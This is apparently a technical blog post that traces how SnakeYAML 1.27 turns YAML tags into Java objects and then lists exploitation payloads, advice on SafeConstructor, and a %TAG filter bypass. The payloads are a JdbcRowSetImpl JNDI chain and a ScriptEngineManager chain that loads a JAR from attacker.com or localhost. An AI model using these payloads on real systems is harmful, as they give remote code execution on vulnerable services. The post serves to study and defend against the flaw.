Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Analyzing SnakeYAML Deserialization Vulnerabilities

Tech May 17 2

Dependencies

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

Example Usage

public class Example {
    public static void main(String[] args) {
        // YAML serialization
        Employee emp = new Employee("John", 30);
        Yaml yaml = new Yaml();
        String serialized = yaml.dump(emp);
        System.out.println(serialized);

        // YAML deserialization
        String input = "!!com.example.Employee {name: Jane, age: 25}";
        Object result = yaml.load(input);
        System.out.println(result);
    }
}

Analysis

The deserialization process begins by wrapping the YAML string into a StreamReader, which is then passed to loadFromReader. This reader is further processed by a composer and constructor via setComposer.

The getSingleData method retrieves a single node using getSingleNode(). If the node exists and its tag is not NULL, constructDocument() is called to convert the node into a Java object, which internally invokes constructObject.

protected Object constructObject(Node node) {
    return constructedObjects.containsKey(node) 
        ? constructedObjects.get(node) 
        : constructObjectNoCheck(node);
}

A map maintains associations between nodes and their corresponding Java objects. constructObjectNoCheck is entered next.

Recursive objects (stored in a Set) represent nodes that cannot be constructed due to recursion. The getConstructor method searches for a constructor based on the tag header.

If the tag (like Person) isn't found in yamlConstructors or yamlMultiConstructors, the null constructor is used. constructor.construct is then called.

getClassForNode attempts to find the class via classForTag, wich returns null. getClassName extracts the class name from the tag, URI-decodes it (e.g., com.example.Employee), and getClassForName loads the class using Class.forName.

The null constructor's newInstance is invoked, eventually calling the default constructor for initialization.

constructJavaBean2ndStep assigns values to the object's properties.

protected Object constructJavaBean2ndStep(MappingNode node, Object obj) {
    flattenMapping(node);
    Class> type = node.getType();
    List<nodetuple> values = node.getValue();
    
    for (NodeTuple tuple : values) {
        if (!(tuple.getKeyNode() instanceof ScalarNode)) {
            throw new YAMLException("Keys must be scalars");
        }
        
        ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
        Node valueNode = tuple.getValueNode();
        keyNode.setType(String.class);
        String key = (String) constructObject(keyNode);
        
        try {
            TypeDescription desc = typeDefinitions.get(type);
            Property prop = (desc == null) ? getProperty(type, key) : desc.getProperty(key);
            if (!prop.isWritable()) {
                throw new YAMLException("Property not writable: " + key);
            }
            
            valueNode.setType(prop.getType());
            boolean typeDetected = (desc != null) ? desc.setupPropertyType(key, valueNode) : false;
            
            if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {
                Class>[] args = prop.getActualTypeArguments();
                if (args != null && args.length > 0) {
                    // Handle sequence, set, and map types
                }
            }
            
            Object value = (desc != null) ? newInstance(desc, key, valueNode) : constructObject(valueNode);
            if (prop.getType() == Float.TYPE && value instanceof Double) {
                value = ((Double) value).floatValue();
            }
            
            if (desc == null || !desc.setProperty(obj, key, value)) {
                prop.set(obj, value);
            }
        } catch (Exception e) {
            throw new ConstructorException("Error setting property", e);
        }
    }
    return obj;
}
</nodetuple>

Each key-value pair is processed iteratively. constructObject is called recursively to assign each valueNode, and property.set uses reflection to invoke setter methods. This demonstrates that deserialization relies on constructors and setter methods.

Exploitation Techniques

JdbcRowSetImpl Chain

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/exploit, autoCommit: true}

This chain exploits setDataSourceName, which triggers a JNDI injection via connect when autoCommit is set to true.

ScriptEngineManager Chain

This technique leverages Java's SPI (Service Provider Interface) mechanism, which automatically loads classes defined in META-INF/services files.

Example payload:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/malicious.jar"]
  ]]
]

The payload uses bracket syntax to invoke parameterized constructors. During deserialization, initEngines loads the JAR and instantiates mlaicious classes implementing service interfaces.

A malicious service implementation class is packaged into a JAR and hosted on a HTTP server. When loaded, it executes arbitrary code (e.g., spawning a calculator).

Mitigation

Use SafeConstructor to define a whitelist for deserialization:

Yaml yaml = new Yaml(new SafeConstructor());

SafeConstructor only allows built-in YAML types and prevents arbitrary class instantiation.

Bypass Techniques

Tags can be declared using %TAG directives. For example:

%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:8888/malicious.jar"]]]]

This alternative syntax can sometimes evade basic filtering mechanisms.

Tags: SnakeYAML

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.